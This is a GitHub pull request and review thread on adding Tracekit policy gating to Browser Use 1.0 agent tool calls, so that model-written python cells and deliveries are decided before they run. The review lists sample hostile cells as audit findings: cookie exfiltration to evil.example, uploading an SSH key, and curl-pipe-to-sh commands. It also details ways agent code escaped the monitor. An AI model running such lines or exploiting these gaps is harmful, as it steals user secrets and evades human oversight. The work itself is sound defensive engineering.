Skip to content

Browser Use 1.0: gate every function tool at BrowserLoop.wrap_tool_execute (#724) - #805

Merged
LoopGlitch26 merged 4 commits into
Cygnux-Labs:mainfrom
Koloyaaa:agent/issue-724
Nov 14, 2026
Merged

LoopGlitch26 merged 4 commits into
Cygnux-Labs:mainfrom
Koloyaaa:agent/issue-724

Conversation

@Koloyaaa

@Koloyaaa Koloyaaa commented Nov 13, 2026 •

Copy link
Copy Markdown
Contributor

What and why

browser-use 1.0 removed the 0.13 action registry (Tools.registry.execute_action) that trace_tools wrapped. On
1.0, trace_tools(Tools(), ...) raised AttributeError: 'Tools' object has no attribute 'execute_action', and
instrument() crashed while constructing Tools; an agent that let Browser Use build its own tools ran with no
decision at all.

This adds a 1.0 seam. _seam() probes which API the installed Tools has; on 1.0, trace_tools() and
instrument() wrap BrowserLoop.wrap_tool_execute once per process, so every function tool is decided by the signer
before it runs, recorded as browser_use:<tool> after, and masked with the same secret handling as 0.13. The 0.13
path is unchanged. instrument() also stops adding Tracekit's generic Pydantic AI capability to Browser Use's
internal agent while the 1.0 seam is wired, so a call on 1.0 is decided once, under a browser_use: name. If the
wiring failed, the capability stays, because nothing else decides that agent's calls.

Repl.call is the second seam. Both ops it runs are decided there:

  • eval is finish_from_repl's delivery, an output tool, which Pydantic AI runs without tool hooks. It is decided as
    browser_use:finish_from_repl with its expression, and a refusal is a ModelRetry the model can answer by
    delivering another way.
  • exec is a python cell. The cell's tool call is already decided by wrap_tool_execute, which marks that cell's
    code in a context variable, so its exec runs without a second decision. An exec from anywhere else is decided as
    browser_use:python and refused with tracekit.Refused under a denying rule, rather than run. Today the python tool
    is the only caller of exec; the gate holds if a later release adds another.

Changes since the first review:

  • finish_from_repl is decided and completed (point 1).
  • Repl.call decides both ops, and a python cell is still decided once (the follow-up you sent).
  • Args reach the signer as JSON: a 0.x action with param_model used to be refused with "the decide request is not
    JSON: Object of type Item is not JSON serializable"; pydantic_core.to_jsonable_python runs before masking (point
    3).
  • A python cell that raises is completed as error: Browser Use returns the traceback as the cell's text, so the
    completion carries the text and the error status (smaller item).
  • Both 1.0 completions digest the args the signer decided, its copy when a T2 approval changes them. The contract run
    showed the 1.0 path was wrong before: under T2 it digested the pre-approval args and the signer rejected the
    completion with args_mismatch (point 5).
  • Tests: the adapter contract's cases (tests/adapter_contract.py) now run on 1.0 through Driver1x in
    tests/test_contract_browser_use.py, OnRealTools1x restores both class patches, the autowire stand-in has
    0.13's Tools.act, and the except ImportError fallback is gone: on a real install a missing
    browser_use.agent.loop reports "not wired" (point 4). An instrument() test covers 1.0, and another one keeps
    Tracekit's Pydantic AI capability off Browser Use's agent.
  • Docs: docs/limits.md says "browser-use 1.x" instead of a (1.0) prefix that read as Tracekit 1.0, and the module
    docstring names both versions.

Changes since the second review:

  • instrument() skips the Pydantic AI capability only while the BrowserLoop seam is actually wired, meaning
    BrowserLoop.wrap_tool_execute carries tracekit_actions, which _wire_1x sets on success. If the wiring fails,
    the capability is added, so that agent's calls are still decided.
  • The test meant to pin that branch ran in neither environment: it looked up the pydantic-ai distribution, and
    browser-use installs pydantic-ai-slim. It now checks importlib.util.find_spec("pydantic_ai") and fakes a wired
    seam, so it runs without browser-use installed. A second test fails _wire_1x and asserts the capability is still
    added.
  • OnRealTools1x covers the Repl.call failure paths: a signer-down eval raises ModelRetry and a signer-down
    exec raises Refused, neither reaching the worker; an exec of other code under a decided cell is decided as
    browser_use:python; and a T2 approval through Repl.call runs the signer's copy and completes with its digest.
  • Docs: the 1.0 contract runs nightly, not on every push; on 1.x the shipped packs allow every cell and every delivery
    until a source reader lands, and a rule on browser_use:python or browser_use:finish_from_repl holds them. The
    TK-B011 "every input asks" claim and the page_url typing advice for 1.x are gone. .github/workflows/ is
    untouched.

Fixes #724.

How I ran it as a user

Browser Use 1.0.3, Python 3.12, Windows, local dev signer; a scratch Chrome started with
--remote-debugging-port=9339. A small script (not part of this PR) called tracekit.instrument(), then built
Agent(task=..., llm=FunctionModel(...), tools=Tools()) and ran one short task: one custom action, one python cell,
then finish_from_repl. tracekit last printed, verbatim:

run 597df885d8b6c86f4ceebcede1b4c2a1 (bu1-manual)
VERIFIED: 3 tool calls in 9 signed records, none changed, removed or added after signing.
NOT PROOF AGAINST THE AGENT: in this setup the agent can reach the signing key, so it could have rewritten the record.
To make it proof, keep the key away from the agent: https://github.com/Cygnux-Labs/Tracekit/wiki/Deploy
NOT ANCHORED: no independent witness or anchor cosigned the log (https://github.com/Cygnux-Labs/Tracekit/wiki/Witnesses).
Pinned log key SHA-256 fingerprint: 26e2c6b8a872d3c90e158b049eb763eb66104a7a674f91e0f7c5000e9ebff252.

The bundle's records name the three decisions: browser_use:echo, browser_use:python and
browser_use:finish_from_repl, each followed by its tool.result.

Contract tests, in both environments:

$ .venv/Scripts/python.exe -m pytest -q tests/test_contract_browser_use.py tests/test_instrument.py tests/test_docs.py tests/test_eval_docs.py
119 passed, 47 skipped, 235 subtests passed               # browser-use 1.0.3, pydantic-ai-slim 2.66.0

$ .venv013/Scripts/python.exe -m pytest -q tests/test_contract_browser_use.py tests/test_instrument.py tests/test_docs.py tests/test_eval_docs.py
94 passed, 72 skipped, 235 subtests passed                # browser-use 0.13.11

pyflakes tracekit tracekit_sdk.py tests eval examples prints nothing.

Checklist

  • make check passes. Not completed locally: on this Windows machine the full suite stops at 8% (the five
    failures before the stop are pre-existing Gemini/httpx environment failures, reproduced at the base commit).
    Linux CI is the merge gate. (sdk/typescript/ unchanged, so make test-ts does not apply.)
  • a regression test covers the change: the 1.0 contract driver runs deny, ask, T2 and complete through the real
    classes; OnRealTools1x covers the tool hook, the Repl.call failure paths and T2 through Repl.call;
    instrument() is covered on both seams, including a failed 1.0 wiring.
  • user-visible changes are described above
  • docs updated: docs/integrations/browser-use.md and docs/limits.md
  • every commit is signed off (git commit -s)

Security invariants

  • the agent still never holds a signing key or assigns sequence numbers; the seams only wrap Browser Loop's tool
    execution and Repl.call
  • nothing an agent-controlled process supplies is newly trusted; decisions, digests and completions go through
    the existing _Actions path
  • gaps are still signed, never silent
  • no verification code is shipped inside a bundle

Evidence format

  • this change does not touch the frozen formats: v1 or the published v2 format

browser-use 1.0 removed the action registry that trace_tools wrapped, so
trace_tools() raised AttributeError and instrument() crashed while
constructing Tools. Probe which seam Tools has, and on 1.0 raise a
RuntimeError naming the tested range instead. instrument() reports
"not wired" with that range, so a 1.0 user is told the truth before the
seam lands in the next commit.

Signed-off-by: Koloyaaa <yakamozzz@sjtu.edu.cn>
…#724)

1.0 runs actions as Pydantic AI tools through BrowserLoop, which sees a
call's arguments but not the page. Wrap BrowserLoop.wrap_tool_execute
once per process so every function tool, the python cell included, is
decided as browser_use:<tool> before it runs and recorded after, with
0.13's masking and typed-secret digests. instrument() leaves Browser
Use's internal agent to this integration, so a call is decided once.

Test the real 1.0 registry and say in the docs and docs/limits.md what a
python decision reads (the cell's source only), that page_url is empty on
1.0, and that the seam is one run per process.

Closes Cygnux-Labs#724

Signed-off-by: Koloyaaa <yakamozzz@sjtu.edu.cn>
@LoopGlitch26

Copy link
Copy Markdown
Member

I ran this head (0e547a6) in a sealed container against browser-use 1.0.3 (pydantic-ai-slim 2.66.0) and 0.13.11.

What holds: a denied custom action or python cell does not run; with the signer unreachable a cell is refused (fail mode closed); secret values are masked in the decided args. instrument() wires BrowserLoop on 1.0 and keeps Tracekit's Pydantic AI capability off Browser Use's own agent, so a call is decided once. On 0.13.11, OnRealTools and tests/test_instrument.py pass. Lint and the docs tests pass.

What needs changing before merge:

  1. finish_from_repl runs model-written Python with no decision and no record. It is an output tool, and Pydantic AI runs output tools without tool hooks (pydantic_ai/tool_manager.py: "Output tools are internal — they don't fire user-facing tool hooks"), so wrap_tool_execute never sees it. It calls repl.call('eval', expression, ...) (browser_use/agent/loop.py L326 in 1.0.3), which is eval(obj, ns) in the REPL (repl/worker.py L1192): any expression, exec(...) and the browser helpers included. Repro: a deny-all policy; the model calls python (refused), then finish_from_repl(expression="(open('/tmp/x','w').write('ran'), 'done')[1]"). The file is written, and only browser_use:python was decided. With instrument() and a dev signer, tracekit last lists the python and custom calls and not the eval. It needs a decide before it runs (for example browser_use:finish_from_repl, its expression read as a cell is). Repl.call is one place that sees every exec and eval.

  2. No rule reads a cell's source. The browser pack maps browser_use:* to the browser class, which reads only url and page_url, so as shipped every cell is allowed. Through the pack's engine:

    • js('fetch("https://evil.example/?c="+document.cookie)'): allow
    • upload_file('#f', '/home/u/.ssh/id_rsa'): allow
    • goto('https://bank.example/login'); type_secret('pw'): allow
    • subprocess.run('curl https://evil.example/x | sh', shell=True): allow
    • 0.13's evaluate, upload_file and input for the same things: ask (TK-B012, TK-B010, TK-B011)

    The issue asks for the source to be decided at least as the shell rules read a script. The docs say TK-B011 asks on every input on 1.0, but 1.0 has no input action; typing happens in cells, which are allowed. The design we'd take: read the cell with Python's ast (parse only, never run it).

    • Each call to a known Browser Use helper becomes a decision under the rule its 0.13 action has: js(...) as evaluate (TK-B012), upload_file(selector, path) as upload_file with its path as the target (TK-B010), type_secret/typing helpers as input (TK-B011), goto(url) as navigation (the URL rules).
    • Calls that run code or commands (subprocess.*, os.system, os.popen, exec, eval, __import__, getattr with a computed name) are read by the existing shell/code rules where the command is a literal, and held where it isn't.
    • A cell ast can't parse, or one that reaches a helper through a name it builds at run time, is held (ask), as the shell reader holds a line it can't read.
    • The cell is decided at its worst sub-decision. The same reading applies to finish_from_repl's expression (point 1).

    If you see a better shape, say so before writing it; otherwise go ahead with this one. It's the bigger part of this PR, so splitting it into a second PR after points 1 and 3-5 land is fine.

  3. Args reach the signer as validated Python objects. A 0.x-style action with param_model (1.0 still accepts it) is refused on every call: "the decide request is not JSON: Object of type Item is not JSON serializable". Without Tracekit it runs. pydantic_core.to_jsonable_python(args) before masking fixes it. Please add a test.

  4. Tests. One test covers the 1.0 path. These mutants pass every test: a signer-down call that runs, no complete after a call, no 1.0 branch in autowire._browser_use, and Tracekit's Pydantic AI capability added back to Browser Use's agent. Please run tests/adapter_contract.py through a 1.0 driver, as the 0.13 stand-in does (deny, ask, T2, signer down, complete), and add an instrument() test on 1.0. Two related points:

    • OnRealTools1x leaves BrowserLoop.wrap_tool_execute patched. With browser-use 1.0 installed, pytest tests/test_contract_browser_use.py tests/test_instrument.py fails test_browser_use_tools_are_gated_on_one_stream with "one Tracekit run per process gates 1.0 calls; the seam is already wired". Restore it with addCleanup.
    • The except ImportError: pass in autowire._browser_use (L314) is there for that test's stand-in. Give the stand-in an act attribute (0.13's Tools has one) and drop the except. On a real install, a missing browser_use.agent.loop should report "not wired", not fall through to the 0.13 patch.
  5. The 1.0 path commits complete to call_args (browser_use.py L131), and the 0.13 path to the signer's copy (L300). One of them is wrong when a T2 approval changes the args. The contract run in point 4 will show which.

Smaller:

  • docs/limits.md: a **(1.2)** prefix names the Tracekit version a limit came in, so **(1.0)** reads as Tracekit 1.0. Say "browser-use 1.x" in the text instead.
  • The module docstring (L1) still says "tested with browser-use 0.13.11".
  • A cell that raises is completed as ok: python returns its error as text, so getattr(out, "error", None) is always None.
  • The issue asks for the tracekit last summary of a 1.0 run. The block in the PR body isn't its output.

What I ran: tests/test_contract_browser_use.py passes on 1.0.3 (49 passed, 24 skipped), on 0.13.11 (49 passed, 24 skipped) and without browser-use (48 passed, 25 skipped).

@Koloyaaa

Copy link
Copy Markdown
Contributor Author

Thanks. I reproduced both the finish_from_repl gap and the param_model failure at this head, and I agree with the split.

This PR takes points 1, 3, 4 and 5, plus the doc and docstring fixes.

finish_from_repl gets a decide before it runs, as browser_use:finish_from_repl with its expression as args, and a complete after. I gate only the 'eval' op at Repl.call: the 'exec' op there is the python cell that wrap_tool_execute already decides, so gating both would decide one call twice.

Args go through pydantic_core.to_jsonable_python before masking, with a test for a param_model action.

For tests: a 1.0 driver for tests/adapter_contract.py (deny, ask, T2, signer down, complete), an instrument() test on 1.0, addCleanup for the BrowserLoop patch, and the stand-in gets act so the except ImportError can go. The T2 digest difference (call_args on 1.0, the signer's copy on 0.13) I'll settle with that contract run instead of picking one by argument.

Docs: "browser-use 1.x" instead of (1.0), the module docstring, the cell error status, and a real tracekit last output in the PR body.

Point 2 (reading a cell's source with ast) becomes the separate second PR you suggested. The shape you describe is the one I'd write: helper calls resolved to the rule their 0.13 action has; code and command calls read by the shell/code rules when the argument is literal and held when it is not; unparseable cells, or names built at run time, held; and the cell decided at its worst sub-decision. The same reading would apply to finish_from_repl's expression, which this PR records as source but does not yet read.

If gating only 'eval' at Repl.call, or the split itself, differs from what you had in mind, say so before I write it.

@LoopGlitch26

Copy link
Copy Markdown
Member

The split is right, and so is the plan for points 1 and 3-5. On gating only eval at Repl.call: I checked browser-use 1.0.3's wheel, and today it holds. Repl.call('exec', ...) has one caller, the python tool (browser_use/agent/loop.py:179), and 'eval' has one, finish_from_repl (loop.py:326).

It holds only while that stays true, though. A later version that adds another exec caller (a setup cell, a helper that runs code) would run it undecided. Please make Repl.call the gate for both ops, and avoid deciding a cell twice like this: the python path's wrap_tool_execute sets a context variable for the cell it just decided, and Repl.call decides an exec only when that variable isn't set for this code. That still decides each cell once, and an exec from anywhere else is decided rather than run. One test should call Repl.call('exec', ...) directly, outside a python tool call, and see it decided and refused under a deny-all policy.

Everything else as you wrote it. The ast reading in a second PR is the shape I had in mind.

…abs#724)

finish_from_repl is an output tool, so it reaches no tool hook and ran
unrecorded. Gate Repl.call('eval', ...) and decide it as
browser_use:finish_from_repl; a refusal is a ModelRetry the model can
answer by delivering another way. Gate 'exec' as well: the python tool
marks the cell it already decided in a context variable, so each cell is
decided once, and an exec from any other caller is decided as
browser_use:python and refused with tracekit.Refused rather than run.

Send action args as JSON (pydantic_core.to_jsonable_python) before
masking, so a 0.x param_model action no longer reaches the signer as a
Python object, and complete a python cell that raised as error. Both 1.0
completions digest the args the signer decided, its copy under a T2
approval: the old call_args digest made the signer reject the completion
with args_mismatch.

Add a 1.0 contract driver and tests for the delivery, a direct exec, a
param_model action and instrument(); restore both class patches after a
test; drop the autowire ImportError fallback. Docs and limits.md state
the seams, the error status and what a 1.0 decision reads.

Signed-off-by: Koloyaaa <yakamozzz@sjtu.edu.cn>
@Koloyaaa

Copy link
Copy Markdown
Contributor Author

Both ops are gated in the third commit.

finish_from_repl is an output tool, so Pydantic AI runs it without the tool hook. Repl.call('eval', ...) decides it as browser_use:finish_from_repl with its expression; a refusal is a ModelRetry, so the model can deliver another way.

exec is gated in the same place. The python tool's wrap_tool_execute sets a context variable for the cell it just decided, and Repl.call decides an exec only when that variable does not hold this code. Each cell is decided once, and an exec from any other caller is decided as browser_use:python instead of running. Under a deny-all policy it raises tracekit.Refused.

I added the test you asked for. It calls Repl.call('exec', 'wipe', ...) directly, with a rule that denies every decision: the signer records browser_use:python with {"code": "wipe", "page_url": ""}, Refused is raised, the worker never receives the code, and no completion is sent.

The other changes are the ones in my earlier reply: finish_from_repl decided and completed, args as JSON through pydantic_core.to_jsonable_python (the param_model case used to fail with "Object of type Item is not JSON serializable"), a 1.0 contract driver with the except ImportError fallback removed, and the T2 digest settled. The 1.0 path was wrong there: it digested the pre-approval args and the signer rejected the completion with args_mismatch; both completions now digest what the signer decided.

docs/limits.md and the PR body are updated, including the real tracekit last output from a 1.0.3 run with decisions for echo, python and finish_from_repl. The AST reading stays for a separate PR, as you suggested.

@LoopGlitch26

Copy link
Copy Markdown
Member

Thanks for the third commit. Both seams hold: every 1.0 cell and delivery I threw at it was decided before it ran.

What I ran at 3256ed6, in a sealed container (browser-use 1.0.3 with pydantic-ai-slim 2.66.0, and 0.13.11), through Browser Use's own build_agent, a scripted FunctionModel and a real Repl whose worker ran in-process:

  • Deny-all: the model calls python, then finish_from_repl with an expression that writes a file, then finish. Both get Action blocked by policy: R-ALL, the worker gets no op, the file isn't written, and the run ends through finish.
  • Allow-all: python, then finish_from_repl. Each is decided once (browser_use:python, browser_use:finish_from_repl) and completed ok. A secret written in the expression reaches the signer as <secret>pw</secret> with its digest.
  • Signer unreachable (fail mode closed): both are refused and nothing reaches the worker.
  • Repl.call('exec', ...) from outside a python call: decided as browser_use:python, and Refused under deny-all.
  • tests/test_contract_browser_use.py and tests/test_instrument.py pass together in one process, in both orders, on 1.0.3 (101 passed). They also pass on 0.13.11 (81 passed). The leaked patch from last round is gone.
  • Mutation check: I tried 22 mutants across both seams, _jsonable and autowire. 17 fail a test, and the 5 that pass every test are in items 1 and 2.

Points 1, 3 and 5 are fixed, and so are the docstring, the (1.0) prefix, the cell error status and the tracekit last output. Here's what's left:

  1. instrument() drops the Pydantic AI fallback even when Browser Use didn't wire (tracekit/autowire.py:332). Tracekit's capability is now left off any agent whose deps type comes from browser_use., whether or not _browser_use managed to wire the BrowserLoop seam. If that wiring fails for any reason (say a 1.x release moves browser_use.repl.session), instrument() warns "Browser Use 1.0.3 not wired (ImportError: ...)" and then every cell runs with no decision. I simulated it by making _wire_1x raise ImportError under instrument() and a dev signer. The python cell reached the worker and the run recorded no decision at all. With the seam wired, the same script records browser_use:python.
    Please skip the capability only when the seam is actually wired: for example, check that BrowserLoop.wrap_tool_execute carries tracekit_actions, or have _browser_use record that it succeeded. Then add a test where the wiring fails and the capability is still added.
    Also, the test meant to pin this branch, test_pydantic_ai_leaves_browser_uses_agent_alone, never runs. It skips unless the pydantic-ai distribution is installed (tests/test_instrument.py:336). CI's .[dev] and browser-use 1.0 both install pydantic-ai-slim, so it skipped in both of my environments. That's why last round's mutant (the capability added back to Browser Use's agent) still passes every test. Checking for pydantic-ai-slim fixes it.

  2. The Repl.call seam's failure paths have no tests. These mutants of tracekit/integrations/browser_use.py pass every test:

    • browser_use.py:175: if why is not None: becomes if why is not None and d is not None:. With the signer down and fail mode closed, the delivery's eval (or an exec) then runs.
    • browser_use.py:167: _DECIDED_CELL.get() == code becomes is not None. Any exec that runs while a python call is in progress then skips the decision, whatever its code.
    • browser_use.py:184 and :186: Repl.call ignores the signer's T2 copy, or digests the args it sent instead of the signer's.

    The first matters most. Please add to OnRealTools1x a signer-down test for Repl.call('eval', ...) (expect ModelRetry, nothing run) and one for exec (expect Refused). Then add one where an exec of other code runs while the context variable holds a decided cell, and check that it's decided. A T2 case through Repl.call, like the contract's test_t2_the_approved_args_run_not_the_frameworks, would cover the last two.

  3. No 1.0 test runs on push. docs/integrations/browser-use.md:16 says "Every push runs the adapter contract against both". But CI installs .[dev], which has no browser-use, so every BU_1X test is skipped. Only the nightly job, which takes the newest browser-use, runs them. These are this PR's regression tests, so they should gate merges. We'll add that job ourselves (a per-push job like crewai and strands, in its own environment, since browser-use 1.0 needs pydantic-ai-slim 2.66 and .[dev] pins <2.58), so please leave .github/workflows/ as it is. For this PR, make the doc say the 1.0 contract runs nightly; we'll change it back when the job lands.

  4. The docs still read as if a cell's source is checked. Until the ast PR lands, no shipped rule reads code or expression. Through the browser pack's engine, browser_use:python with type_secret('pw'); js('fetch(...)') gives allow, and so does browser_use:finish_from_repl with __import__('os').system('curl https://evil.example | sh'). docs/integrations/browser-use.md:76 and the docs/limits.md:361 row say TK-B011 asks on every input on 1.x, but 1.x has no input action: typing happens in cells, and cells are allowed.
    Please say it plainly in both places: on 1.x the shipped packs allow every cell and every delivery until the source reader lands, and you can hold them with your own rule on browser_use:python and browser_use:finish_from_repl (an ask, for example). Drop the "every input asks" claim and the "allow typing with rules that don't depend on page_url" advice for 1.x.

Smaller: the PR body says the 1.0 contract driver covers "signer down". The contract has no signer-down case. That's the separate OnRealTools1x test, and it covers only the tool hook (see 2).

…Labs#724)

instrument() left Browser Use's internal agent to this integration
whenever its deps_type looked like Browser Use's, even when the 1.0 seam
had not been wired; on a failed _wire_1x that agent then had no decision
at all. Skip the Pydantic AI capability only while BrowserLoop's
wrap_tool_execute carries tracekit_actions, and add it otherwise,
because nothing else decides that agent's calls.

The test that pinned this branch never ran: it looked up the pydantic-ai
distribution, which is pydantic-ai-slim under browser-use. It now checks
the pydantic_ai import and fakes a wired seam, so it runs without
browser-use installed. A second test fails _wire_1x and asserts the
capability is still added.

Cover Repl.call's failure paths: a signer-down eval raises ModelRetry
and a signer-down exec raises Refused, neither reaching the worker; an
exec of other code under a decided cell is decided as
browser_use:python; a T2 approval runs the signer's copy and completes
with its digest.

The docs say the 1.0 contract runs nightly, not on every push, and that
on 1.x the shipped packs allow every cell and delivery until a source
reader lands, held by a rule on browser_use:python or
browser_use:finish_from_repl. Drop the TK-B011 "every input asks" claim
and the page_url typing advice for 1.x.

Signed-off-by: Koloyaaa <yakamozzz@sjtu.edu.cn>
@Koloyaaa

Copy link
Copy Markdown
Contributor Author

All six are in the fourth commit.

instrument() now leaves Browser Use's agent to the integration only while BrowserLoop.wrap_tool_execute carries tracekit_actions, the marker _wire_1x sets when it succeeds. If the wiring fails, the Pydantic AI capability is added, so that agent's calls are still decided. A new test fails _wire_1x with ImportError and asserts the capability is still there.

You were right that test_pydantic_ai_leaves_browser_uses_agent_alone never ran. It looked up the pydantic-ai distribution, and under browser-use the installed one is pydantic-ai-slim. It now checks importlib.util.find_spec("pydantic_ai") and fakes a wired seam, so it runs without browser-use installed.

OnRealTools1x covers the four Repl.call paths you named: a signer-down eval raises ModelRetry and a signer-down exec raises Refused, neither reaching the worker; an exec of other code while the context variable holds a decided cell is decided as browser_use:python; and a T2 approval through Repl.call runs the signer's copy and completes with its digest.

docs/integrations/browser-use.md and docs/limits.md now say the 1.0 contract runs nightly, not on every push, and that on 1.x the shipped packs allow every cell and every delivery until a source reader lands, and a rule on browser_use:python or browser_use:finish_from_repl holds them. The "every input asks" claim and the page_url typing advice are gone. .github/workflows/ is untouched.

The PR body no longer says the contract driver covers signer down. That is OnRealTools1x, and it covers the tool hook and these Repl.call cases.

On the new head: 106 passed, 47 skipped, 33 subtests on browser-use 1.0.3, and 81 passed, 72 skipped, 33 subtests on 0.13.11, over tests/test_instrument.py and tests/test_contract_browser_use.py. The four-module run and pyflakes are in the body. The AST reading stays for the second PR, as we agreed.

@LoopGlitch26

Copy link
Copy Markdown
Member

Thanks for the quick and thorough fourth commit. All four items are fixed, and from my side this is ready.

What I ran at 2e946d2, in a sealed container (browser-use 1.0.3 with pydantic-ai-slim 2.66.0, and 0.13.11):

  1. The fallback stays when the wiring fails. I made _wire_1x raise ImportError under instrument() with a dev signer, as last round. instrument() warns "Browser Use 1.0.3 not wired", and the Pydantic AI capability now decides the agent's calls: the run records python and finish, where last round it recorded nothing. With the seam wired, the same script records browser_use:python once. test_pydantic_ai_leaves_browser_uses_agent_alone and the new failed-wiring test both run now (find_spec("pydantic_ai")), and they catch the capability being added back, being left off while unwired, and _browser_use_wired() always answering yes.
  2. Repl.call failure paths. Every mutant from last round now fails a test: signer down at Repl.call, == code loosened to is not None, the T2 copy ignored, and the digest of the sent args.
  3. Nightly. docs/integrations/browser-use.md:16 now says the 1.0 contract runs in the nightly job. We'll add the per-push job ourselves, as promised.
  4. Cells allowed until the reader lands. Both docs now say it, and the "every input asks" and page_url typing advice are gone. Through the browser pack, a cell and a delivery still give allow, which is what the docs now say.

The end-to-end run through Browser Use's own build_agent, a scripted FunctionModel and a real Repl gives the same results as last round:

  • With deny-all, or with the signer down, neither the python cell nor the file-writing finish_from_repl reaches the worker.
  • With allow-all, each call is decided once and completed ok, and a secret in the expression is masked.
  • A bare exec is decided as browser_use:python.

Tests:

  • 1.0.3: tests/test_contract_browser_use.py and tests/test_instrument.py pass together in one process, in both orders (106 passed), and tests/test_docs.py passes too.
  • 0.13.11: the same two files pass (81 passed).
  • Mutation check: all 24 mutants fail a test. They cover both seams, _jsonable and autowire.

The ast reading of cells and deliveries is next, in the second PR, as agreed.

@LoopGlitch26
LoopGlitch26 enabled auto-merge (squash) November 14, 2026 15:27
@LoopGlitch26
LoopGlitch26 merged commit 4ce4aa7 into Cygnux-Labs:main Nov 14, 2026
33 of 34 checks passed
@LoopGlitch26

Copy link
Copy Markdown
Member

Merged, thanks @Koloyaaa. Browser Use 1.0 is now gated at BrowserLoop.wrap_tool_execute: every function tool, each python cell and every finish_from_repl delivery is decided before it runs, and the Pydantic AI fallback stays on when the seam can't be wired. It ships in 1.7.0. We're adding the per-push Browser Use 1.0 CI job now, as promised, and the ast reading of cells is the next PR whenever you're ready.

LoopGlitch26 added a commit that referenced this pull request Nov 15, 2026
A job in its own environment (browser-use 1.0.x needs pydantic-ai-slim 2.66; .[dev] pins <2.58) runs
tests/test_contract_browser_use.py and tests/test_instrument.py, so #805's 1.0 tests gate merges instead of only the
nightly @latest run. The doc says where each contract runs.

Signed-off-by: LoopGlitch26 <53336715+LoopGlitch26@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Browser Use 1.0: gate its tool calls (the 0.13 seam is gone, so the integration gates nothing on 1.0)

2 participants